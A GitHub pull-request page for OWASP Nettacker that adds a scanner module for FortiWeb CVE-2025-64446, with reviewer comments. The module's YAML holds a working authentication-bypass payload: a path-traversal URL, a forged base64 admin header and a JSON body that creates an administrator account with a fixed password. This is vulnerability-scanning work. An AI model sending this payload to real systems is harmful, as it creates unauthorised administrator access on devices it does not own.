Skip to content
Draft
Show file tree
Hide file tree
Changes from 6 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions docs/Modules.md
Original file line number Diff line number Diff line change
Expand Up @@ -141,6 +141,7 @@ If you want to scan all ports please define -g 1-65535 range. Otherwise Nettacke
- '**content_type_options_vuln**' - check the web server for missing 'X-Content-Type-Options'=nosniff header
- '**crushftp_cve_2025_31161_vuln**' - check the target for CrushFTP CVE-2025-31161 vulnerability
- '**f5_cve_2020_5902_vuln**' - check the target for F5 RCE CVE-2020-5902 vulnerability
- '**fortiweb_auth_bypass_cve_2025_64446_vuln**' - check the target for the CVE-2025-64446 by testing the vulnerable endpoint
- '**heartbleed_vuln**' - check SSL for Heartbleed vulnerability (CVE-2014-0160)
- '**msexchange_cve_2021_26855**' - check the target for MS Exchange SSRF CVE-2021-26855 (proxylogon/hafnium)
- '**http_cors_vuln**' - check the web server for overly-permissive CORS (header 'Access-Control-Allow-Origin'=\*)
Expand Down
97 changes: 97 additions & 0 deletions nettacker/modules/vuln/fortiweb_auth_bypass_cve_2025_64446.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
info:
name: fortiweb_auth_bypass_cve_2025_64446_vuln
author: OWASP Nettacker Team
severity: 9.8
description: |
Fortinet FortiWeb versions prior to fixed releases are vulnerable to an
authentication bypass via relative path traversal, allowing unauthenticated
attackers to create administrative users through crafted API requests.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2025-64446
- https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass
- https://github.com/rapid7/metasploit-framework/pull/20698
profiles:
- vuln

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Require opt-in before creating an administrator

When a user runs the broad --profile vuln scan, the exact profile-tag expansion in ArgParser silently includes this module, but normal scan startup does not display the warning in its description or request confirmation. A successful probe therefore creates a persistent administrator with a fixed password during what appears to be a routine vulnerability scan and provides no cleanup step; gate this state-changing payload behind explicit opt-in or confirmation rather than enrolling it directly in the general profile.

Useful? React with 👍 / 👎.

- http
- critical_severity
- cve
- cve2025
- fortiweb
- auth_bypass
- kev

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 Badge Use the established CISA KEV profile tag

Users selecting --profile cisa_kev will not run this known-exploited-vulnerability check because profile membership is matched by exact tag and this module uses the new one-off tag kev. Every existing KEV module in the parent tree uses cisa_kev (32 modules, with no pre-existing kev profile), so this instead creates a separate single-module profile and leaves FortiWeb out of the established KEV scan.

Useful? React with 👍 / 👎.


payloads:
- library: http
steps:
- method: post
timeout: 5
headers:
Content-Type: "application/json"
CGIINFO: "eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=="
data: |
{
"data": {
"q_type": 1,
"name": "nettacker_admin",
"access-profile": "prof_admin",
Comment thread
coderabbitai[bot] marked this conversation as resolved.
"access-profile_val": "0",
"last-name": "",
"first-name": "",
"email-address": "",
"phone-number": "",
"mobile-number": "",
"hidden": 0,
"comments": "",
"sz_dashboard": -1,
"type": "local-user",
"type_val": "0",
"admin-usergrp_val": "0",
"wildcard_val": "0",
"accprofile-override_val": "0",
"sshkey": "",
"trusthostv4": "127.0.0.1/8",
"trusthostv6": "::1/128",
"passwd-set-time": 0,
"history-password-pos": 0,
"history-password0": "",
"history-password1": "",
"history-password2": "",
"history-password3": "",
"history-password4": "",
"history-password5": "",
"history-password6": "",
"history-password7": "",
"history-password8": "",
"history-password9": "",
"force-password-change": "disable",
"force-password-change_val": "0",
"password": "nettacker_pass123"
}
Comment thread
coderabbitai[bot] marked this conversation as resolved.
Outdated
}
Comment thread
coderabbitai[bot] marked this conversation as resolved.
Outdated
allow_redirects: false
ssl: false
url:
nettacker_fuzzer:
input_format: "{{schema}}://{target}:{{ports}}{{paths}}"
prefix: ""
suffix: ""
interceptors:
Comment thread
Aarush289 marked this conversation as resolved.
data:
schema:
- "http"
- "https"
ports:
- 80
- 443
paths:
- "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi"
Comment thread
coderabbitai[bot] marked this conversation as resolved.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 Badge Preserve the traversal path when sending the request

This literal path is normalized before transmission because HttpEngine passes the generated URL string directly to aiohttp, whose YARL URL handling resolves the ../../../../../ segments; for this value, the outgoing raw path becomes /cgi-bin/fwbcgi rather than the crafted /api/v2.0/... path required for the bypass. Consequently, the module cannot exercise CVE-2025-64446 and will report vulnerable FortiWeb targets as clean; construct the request URL with encoded-path preservation (for example, yarl.URL(url, encoded=True)) before invoking aiohttp.

Useful? React with 👍 / 👎.

response:
condition_type: and
conditions:
status_code:
regex: "200"
reverse: false
content:
regex: "(?s)(\"results\":).*?(\"can_clone\":)"
reverse: false

Comment thread
coderabbitai[bot] marked this conversation as resolved.
2 changes: 1 addition & 1 deletion nettacker/modules/vuln/wp_plugin_cve_2021_38314.yaml

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@Aarush289 out of scope change will not be accepted. Please keep your PRs atomic and focused on solving one thing only at a time

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@securestep9 , I will create a separate PR for the bug fix , but please let me know if any other changes are needed or specifically about the exposure of scan id to the modules because that is needed for this module or if you have any other suggestions regarding generation of a random id for modules !

Original file line number Diff line number Diff line change
Expand Up @@ -45,7 +45,7 @@ payloads:
response:
condition_type: and
conditions:
status:
status_code:
regex: 200
reverse: false
headers:
Expand Down
Loading